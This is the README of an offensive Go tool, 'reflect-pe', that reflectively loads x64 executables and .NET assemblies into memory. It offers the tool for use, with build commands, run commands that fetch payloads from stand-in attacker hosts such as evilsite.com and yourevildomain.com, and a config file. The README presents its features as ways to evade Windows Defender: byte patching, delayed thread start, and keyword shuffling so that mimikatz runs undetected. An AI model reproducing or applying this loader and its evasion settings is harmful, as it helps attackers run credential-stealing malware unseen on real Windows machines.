Reflectively load and execute an x64 Portable Executable in-memory. It does not bluntly allocate RWX memory all over the place. Each section gets its required set of permissions. It also allows patching bytes on the fly to evade memory inspection (Windows Defender).
Finally, it produces a self-contained executable so no ugly command lines to be inspected by Defender.

Supports x64 both unmanaged PE and managed PE (assemblies)

1. Prepare a Go environment to build the reflect-pe.

2. Prepare your config.yml file (see below)

3. Build the executable
   Ps: if you you compile on a machine other than Windows, set these env variables: GOOS=windows GOARCH=amd64

git clone https://github.com/ayoul3/reflect-pe
cd reflect-pe
go build -v .

Run it and enjoy

reflect-pe.exe
reflect-pe.exe config_mimi.yml
reflect-pe.exe http://www.evilsite.com/config.yml

# BinaryPath can either be an HTTP url, a relative path or an absolute path.
BinaryPath: 'http://www.yourevildomain.com/file.exe'

# ReflectArgs is a string containing the arguments passed to your binary when executed in memory.
# For Unmanaged PE: First argument is the program's name. This parameter can be empty
# For managed PE: First argument is the real first argument

ReflectArgs: 'arg0 arg1 arg2'

# 3 options to load an unmanaged executable in memory:
# Wait: will call CreateThread, then wait 15 to 30 seconds before resuming the threat. This proved very effective against Windows Defender.
# <empty>: We do not wait between thread creation and execution
# Function: We overwrite the address of a Go method with the executable's entry point

ReflectMethod:  # wait, function or empty

# CLR runtime version. If the version specified is not found, the latest one will be taken. If it's empty it defaults to v2.  

CLRRuntime: v4

# 0: no logs, 1: Info logs, 2: Debug
LogLevel: 2

# Keywords to be replaced by a random shuffle. Both utf8 and unicode versions are replaced.
Keywords:
  - mimikatz
  - delpy
  - benjamin
  - delpy

Ps: config_mimi.yml contains the basic keywords to target to run a mimikatz without triggering Windows Defender

Reflect-pe only works for x64 dynamic executables on 64-bit intel machines.

It's not stable when it comes to static binary for the good reason that hardcoded absolute addresses are difficult to find and translate to the new relocated address. So it cannot load a go-binary for instance (also because the go runtime cannot be loaded twice inside the same process)

I did not try loading a DLL. There may be some small adjustments that are needed to make it work.

• https://github.com/stephenfewer/ReflectiveDLLInjection
• https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
• Huge thanks to @ropnop (https://github.com/ropnop/go-clr) for 90% of the CLR loading in Go